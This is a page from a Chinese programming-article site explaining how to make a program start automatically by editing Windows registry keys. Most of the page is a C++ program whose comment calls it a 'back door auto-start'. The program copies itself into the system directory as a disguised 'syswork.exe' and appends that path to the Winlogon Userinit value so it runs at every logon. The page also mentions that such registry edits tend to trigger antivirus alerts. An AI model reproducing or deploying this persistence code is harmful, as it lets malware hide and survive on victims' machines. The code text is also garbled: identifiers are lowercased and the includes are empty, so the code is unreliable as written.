欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

C/C++如何利用添加注册表项实现文件自启动?

程序员文章站 2022-06-24 20:38:15
简介 添加注册表项是实现文件自启动的经典方法之一,但因为操作注册表项是一个敏感操作,被报毒可能性较大,但即便如此,这个方法还是值得一学的,因为后期大部分都涉及到注册表操作。 最常使用到的注册表项有两...

简介

添加注册表项是实现文件自启动的经典方法之一,但因为操作注册表项是一个敏感操作,被报毒可能性较大,但即便如此,这个方法还是值得一学的,因为后期大部分都涉及到注册表操作。

最常使用到的注册表项有两项:

1.hkey_current_user\software\microsoft\windowsnt\currentversion\windows 将“load”键下的键值改为自启动目标文件路径,但缺点在于只能支持一个程序

2.hkey_local_machine\software\microsoft\windowsnt\currentversion\winlogon 将“userinit”键下的值加上自启动目标文件路径,但是要注意虽然支持多文件自启动,但每个文件路径之间切记要用逗号隔开!

c++代码样例

//////////////////////////////////////////////////////////////
//
// filename : regautorundemo.cpp
// creator : peterz1997
// date : 2018-5-1 21:34
// comment : add registry key(s) to achieve the back door auto-start
//
//////////////////////////////////////////////////////////////

#include 
#include 
#include 
#include 
#include 

using namespace std;

const unsigned int max_count = 255; /// max string length

char szreginfo[max_count] = "\0";

/**
 * @brief compare two string
 * @param str1 string-1
 * @param str2 string-2
 * @return boollean value
 */
bool comparetwostring(lpctstr str1, lpcstr str2)
{
    char sztempstr01[max_count] = "\0";
    char sztempstr02[max_count] = "\0";
    if (strlen(str1) < strlen(str2))
    {
        strcpy_s(sztempstr02, sizeof(sztempstr01), str1);
        strcpy_s(sztempstr01, sizeof(sztempstr02), str2);
    }
    else
    {
        strcpy_s(sztempstr01, sizeof(sztempstr01), str1);
        strcpy_s(sztempstr02, sizeof(sztempstr02), str2);
    }
    for (int i = 0; i < strlen(sztempstr01) - strlen(sztempstr02); i++)
    {
        for (int j = 0; j < strlen(sztempstr02); j++)
        {
            if (*(sztempstr01 + j + i) != *(sztempstr02 + j))
            {
                break;
            }
            if (*(sztempstr01 + j + i) == *(sztempstr02 + j) && j == strlen(sztempstr02) - 1)
            {
                return true;
            }
        }
    }
    return false;
}

/**
 * @brief add a string key to registry
 * @param hroot root key
 * @param szsubkey sub key after the root key
 * @param szvaluename key name
 * @param szdata key data
 * @return boollean value
 */
bool setstringtoreg(hkey hroot, lpctstr szsubkey, lpctstr szvaluename, lpctstr szdata)
{
    hkey hkey;
    long lres = regcreatekeyex(hroot, szsubkey, 0, null, reg_option_non_volatile, key_all_access, null, &hkey, null);
    if (lres != error_success)
    {
        regclosekey(hkey);
        regclosekey(hroot);
        return false;
    }
    lres = regsetvalueex(hkey, szvaluename, 0, reg_sz, (byte*)szdata, strlen(szdata));
    if (lres != error_success)
    {
        regclosekey(hkey);
        regclosekey(hroot);
        return false;
    }
    regclosekey(hkey);
    regclosekey(hroot);
    return true;
}

/**
 * @brief get key info
 * @param hroot root key
 * @param szsubkey sub key after the root key
 * @param szvaluename key name
 * @return boollean value
 */
bool getreginfo(hkey hroot, lpctstr szsubkey, lpctstr szvaluename)
{
    hkey hkey;
    dword dwtype = reg_sz;
    dword dwlendata = strlen(szreginfo);
    long lres = regcreatekeyex(hroot, szsubkey, 0, null, reg_option_non_volatile, key_all_access, null, &hkey, null);
    if (lres != error_success)
    {
        regclosekey(hkey);
        regclosekey(hroot);
        return false;
    }
    regqueryvalueex(hkey, szvaluename, 0, &dwtype, null, &dwlendata);
    lres = regqueryvalueex(hkey, szvaluename, 0, &dwtype, (lpbyte)szreginfo, &dwlendata);
    if (lres != error_success)
    {
        regclosekey(hkey);
        regclosekey(hroot);
        return false;
    }
    regclosekey(hkey);
    regclosekey(hroot);
    return true;
}

/**
* @brief main function
*/
int winapi winmain(_in_ hinstance hinstance, _in_opt_ hinstance hprevinstance, _in_ lpstr lpcmdline, _in_ int nshowcmd)
{
    char szsystempath[max_count] = "\0";
    char szfilepath[max_count] = "\0";
    char szregvalue[max_count] = "\0";
    char sztotalstring[max_count] = "\0";
    if (getreginfo(hkey_local_machine, "software\\microsoft\\windows nt\\currentversion\\winlogon", "userinit")) strcat_s(szregvalue, sizeof(szregvalue), szreginfo);
    else return 0;
    for (int i = 1;;)
    {
        if (szregvalue[strlen(szregvalue) - i] == ' ')
        {
            szregvalue[strlen(szregvalue) - i] = '\0';
        }
        else
        {
            break;
        }
    }
    if (szregvalue[strlen(szregvalue) - 1] != ',') strcat_s(szregvalue, sizeof(szregvalue), ",");
    strcat_s(sztotalstring, sizeof(sztotalstring), szregvalue);
    if (!comparetwostring(sztotalstring, "c:\\windows\\syswow64\\syswork.exe"))
    {
        strcat_s(sztotalstring, sizeof(sztotalstring), "c:\\windows\\syswow64\\");
        strcat_s(sztotalstring, sizeof(sztotalstring), "syswork.exe,");
    }
    getsystemdirectory(szsystempath, sizeof(szsystempath));
    strcat_s(szsystempath, sizeof(szsystempath), "\\syswork.exe");
    if (!comparetwostring(szregvalue, szsystempath))
    {
        strcat_s(sztotalstring, sizeof(sztotalstring), szsystempath);
        strcat_s(sztotalstring, sizeof(sztotalstring), ",");
    }
    getmodulefilename(null, szfilepath, sizeof(szfilepath));
    if (strcmp(szfilepath, szsystempath) && strcmp(szfilepath, "c:\\windows\\syswow64\\syswork.exe"))
    {
        if (!copyfile(szfilepath, szsystempath, true)) return 0;
        if (!setstringtoreg(hkey_local_machine, "software\\microsoft\\windows nt\\currentversion\\winlogon", "userinit", sztotalstring)) return 0;
    }
    messagebox(null, "helloworld", "tips", mb_ok);
    exitprocess(0);
    return 0;
}